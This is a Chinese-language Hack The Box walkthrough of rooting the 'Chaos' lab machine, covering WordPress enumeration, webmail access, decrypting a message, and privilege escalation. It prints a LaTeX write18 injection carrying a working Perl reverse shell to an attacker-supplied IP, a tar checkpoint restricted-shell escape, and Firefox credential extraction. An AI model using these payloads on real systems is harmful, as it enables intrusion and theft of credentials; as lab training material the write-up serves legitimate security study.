【HTB系列】靶机Chaos的渗透测试详解
【HTB系列】靶机Chaos的渗透测试详解
是大方子/2019.6.8/
知识点:
- 通过域名或者IP可能会得到网站的不同响应
- Wpscan的扫描wordpress
- 修改hosts来对网页邮件系统webmail进行访问
- LaTax反弹shell
- 通过tar来进行限制shell的绕过并修复shell的PATH
- 用firefox_decrypt提取火狐的用户凭证缓存
介绍
Kali: 10.10.12.87
靶机地址:10.10.10.120
先用Nmap来进行探测
root@kali:~/HTB# nmap -sV -T5 -sC 10.10.10.120Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-08 13:18 CST
Nmap scan report for 10.10.10.120
Host is up (0.21s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: STLS UIDL TOP SASL RESP-CODES CAPA AUTH-RESP-CODE PIPELINING
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after: 2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
143/tcp open imap Dovecot imapd (Ubuntu)
|_imap-capabilities: STARTTLS ENABLE LITERAL+ OK IMAP4rev1 SASL-IR LOGINDISABLEDA0001 have post-login listed ID IDLE LOGIN-REFERRALS capabilities more Pre-login
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after: 2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: ENABLE LITERAL+ OK AUTH=PLAINA0001 SASL-IR capabilities have post-login listed ID IDLE LOGIN-REFERRALS IMAP4rev1 more Pre-login
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after: 2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE UIDL TOP SASL(PLAIN) RESP-CODES CAPA USER PIPELINING
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after: 2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.63 seconds
靶机上运行这http服,pop3 imap 以及它们对应的ssl加密后的服务,还有一个就是监听在1000的MiniServ
我们看下80端口
80端口:
发现靶机是不允许直接使用IP进行访问的,那么我们修改下/etc/hosts文件
再次访问
这里我们用gobuster爆破下目录,为了结果的准确我把IP类型的地址和域名类型的地址都扫描了一遍
出现的结果不同,但是都是一个问题就是网站目录可直接访问,在IP的扫描结果中我们发现了wp(wordpress),这里我们只能用IP去访问用域名去访问是没有的
那么我们就用wpscan去扫描下,这里用tee命令在输出结果到终端的同时也把结果输出到文件中去。
这里扫描出了2条有用的信息,这里有个用户名字叫human
我们尝试把human当成密码输入到刚刚页面那篇的加密文章,发现是正确的并且我们得到了webmail的帐户和密码
Creds for webmail :
username – ayush
password – jiujitsu
我们是有看到靶机是运行这邮件系统的,我们用这个尝试去登陆,我们再再hosts中增加webmai.chaos.htb的记录
然后输入webmail.chaos.htb进行登陆
然后我们在草稿箱中发现了这个
一个是加密后的信息,一个是加密的脚本文件,邮件也说了“你就是密码”,所以我们可以先拿sahay当作密码进行尝试破解
以下是加密的脚本文件
def encrypt(key, filename):chunksize = 64*1024outputFile = "en" + filenamefilesize = str(os.path.getsize(filename)).zfill(16)IV =Random.new().read(16)encryptor = AES.new(key, AES.MODE_CBC, IV)with open(filename, 'rb') as infile:with open(outputFile, 'wb') as outfile:outfile.write(filesize.encode('utf-8'))outfile.write(IV)while True:chunk = infile.read(chunksize)if len(chunk) == 0:breakelif len(chunk) % 16 != 0:chunk += b' ' * (16 - (len(chunk) % 16))outfile.write(encryptor.encrypt(chunk))def getKey(password):hasher = SHA256.new(password.encode('utf-8'))return hasher.digest()
根据加密脚本写出对应的解密脚本
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import Crypto.Cipher.AES
from binascii import hexlify, unhexlifydef encrypt(key, filename):chunksize = 64*1024outputFile = "en" + filenamefilesize = str(os.path.getsize(filename)).zfill(16)IV =Random.new().read(16)encryptor = AES.new(key, AES.MODE_CBC, IV)with open(filename, 'rb') as infile:with open(outputFile, 'wb') as outfile:outfile.write(filesize.encode('utf-8'))outfile.write(IV)while True:chunk = infile.read(chunksize)if len(chunk) == 0:breakelif len(chunk) % 16 != 0:chunk += b' ' * (16 - (len(chunk) % 16))outfile.write(encryptor.encrypt(chunk))def getKey(password):hasher = SHA256.new(password.encode('utf-8'))return hasher.digest()if __name__=="__main__":chunksize = 64*1024mkey = getKey("sahay")mIV = (b"0000000000000234")decipher = AES.new(mkey,AES.MODE_CBC,mIV)with open("enim_msg.txt", 'rb') as infile:chunk = infile.read(chunksize)plaintext = decipher.decrypt(chunk) print plaintext
执行解密脚本得到Base64加密后的结果:
这里前面的16为IV向量要去除,然后通过base64解码
echo "SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK" | base64 -d
得到一个连接http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3
LaTax常用于文档排版的,具体可以百度下
输入文本并选择好模板后可以生成PDF,可以再http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/pdf/中看到生成好的PDF
关于LaTax的攻击可以参考这篇文章:https://0day.work/hacking-with-latex/
我们使用下面的exp反弹shell
\immediate\write18{perl -e 'use Socket;$i="你的IP地址";$p=端口;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}
监听制定端口并执行EXP
在得到shell后,我们用python建立一个稳定的shell
切换到Home目录发现这2个目录都没有权限
我们试下之前的mail的帐户密码,看看能不能切换到ayush
username – ayush
password – jiujitsu
切换成功但是,ayush处于受限的shell中
这里我们看到我们的PATH是ayush/.app,我们只能用这3个命令
对于限制shell的绕过,可以参考这个:https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
那么我们用tar 进行绕过
这里我们先切换回www-data,因为www-data的shell是正常的,然我们切换到/tmp目录下并创建rick并进行压缩
然后在切换到ayush
然后先进行绕过
tar cf /dev/null rick.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash
再修复下PATH
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
然后得到user flag
然后我们发现用户的目录下又.mozilla的文件里面有个firefox,用ls-la查看大小发现都大于firefox的默认大小,怀疑里面是有用户的凭证的
使用firefox_decrypt提取缓存凭据,项目地址:
https://github.com/unode/firefox_decrypt
然后把项目下载到靶机中去
然后对提取脚本加执行权限,并进行解密,提示需要输入主密钥我们同样输入jiujitsu,发现密码也是正确的
切换到root得到root flag
【HTB系列】靶机Chaos的渗透测试详解相关推荐
- Nmap渗透测试详解(一)
Nmap渗透测试详解(一) 如今,Nmap享有"扫描之王"盛誉. Nmap诞生于1996年.在这个信息爆炸的互联网时代,Nmap依然保持着充沛的活力以及旺盛的生命力.原因如下: 知 ...
- 《Kali Linux高级渗透测试原书第2版》网络渗透测试技术书 无线网络渗透测试详解 黑客攻击与防范实战从入门到精通书
内容简介: KaliLinux面向专业的渗透测试和审计,集成了大量挑选的检测工具.本书在KaliLinux平台上从一个攻击者的角度来审视网络框架,详细介绍了攻击者"杀链"采取的具体 ...
- ES6系列教程第三篇--Generator 详解
一.什么是Generator 函数 先看下面的Generator函数, function* helloGenerator() {console.log("this is generator& ...
- mysql ssd 性能测试 写入_MySQL服务器的SSD性能问题分析和测试详解
[问题] 我们有台HP的服务器,SSD在写IOPS约5000时,%util达到80%以上,那么这块SSD的性能究竟有没有问题,为解决这个问题做了下面测试. [工具] blktrace是linux下用来 ...
- batchnorm2d参数 torch_pytorch方法测试详解——归一化(BatchNorm2d)
测试代码: import torch import torch.nn as nn m = nn.BatchNorm2d(2,affine=True) #权重w和偏重将被使用 input = torch ...
- 【深度学习系列】卷积神经网络CNN原理详解(一)——基本原理(1)
上篇文章我们给出了用paddlepaddle来做手写数字识别的示例,并对网络结构进行到了调整,提高了识别的精度.有的同学表示不是很理解原理,为什么传统的机器学习算法,简单的神经网络(如多层感知机)都可 ...
- 离线强化学习(Offline RL)系列3: (算法篇) AWAC算法详解与实现
[更新记录] 论文信息:AWAC: Accelerating Online Reinforcement Learning with Offline Datasets [Code] 本文由UC Berk ...
- java源码系列:HashMap底层存储原理详解——4、技术本质-原理过程-算法-取模具体解决什么问题
目录 简介 取模具体解决什么问题? 通过数组特性,推导ascii码计算出来的下标值,创建数组非常占用空间 取模,可保证下标,在HashMap默认创建下标之内 简介 上一篇文章,我们讲到 哈希算法.哈希 ...
- JVM调优系列--Java命令选项(参数)--大全/详解/常用
原文网址:JVM调优系列--Java命令选项(参数)--大全/详解/常用_IT利刃出鞘的博客-CSDN博客 简介 说明 本文介绍Java的java命令用法,包括:常用用法.选项大全. J ...
- Spring/Boot/Cloud系列知识:SpringMVC 传参详解(下)
(接上文<Spring/Boot/Cloud系列知识:SpringMVC 传参详解(上)>) 2.3.通过@PathVariable注解基于URL匹配符接收请求传参 为了便于开发人员实现更 ...
最新文章
- qt 拖拽 修改大小(二)
- 记实现TDengine时序数据库支持 .Net Windows 32位系统踩坑
- html5 video修改默认样式,HTML5中将video设置为背景的方法
- c char转int_c/c++基础之sizeof用法
- 程序生活----葱油拌面
- 第15章 使用DOM的脚本语言
- dw选项卡怎么设置_EXCEL入门之设置
- python判断一个数是否是质数
- poi 导出excel 中合并单元格
- 【HDOJ6986】Kanade Loves Maze Designing(暴力,dfs树)
- 人脸识别 Face Recognition安装使用
- js实现图片在一个div中点击按钮放大缩小效果
- widows安装wxPython
- dubbo 监控中心配置
- C51单片机毕业设计题目大全
- 紫外线传感器 韩国GENICOM进口 GUVA-T11GD-L 全波段检测,原厂渠道
- Docker学习笔记 (狂神说)
- 《JAVA编程思想》学习笔记:第16章(数组)
- 最全Mac系统快捷键一览 学会了一秒变大神!
- 可满足性问题 SAT、3SAT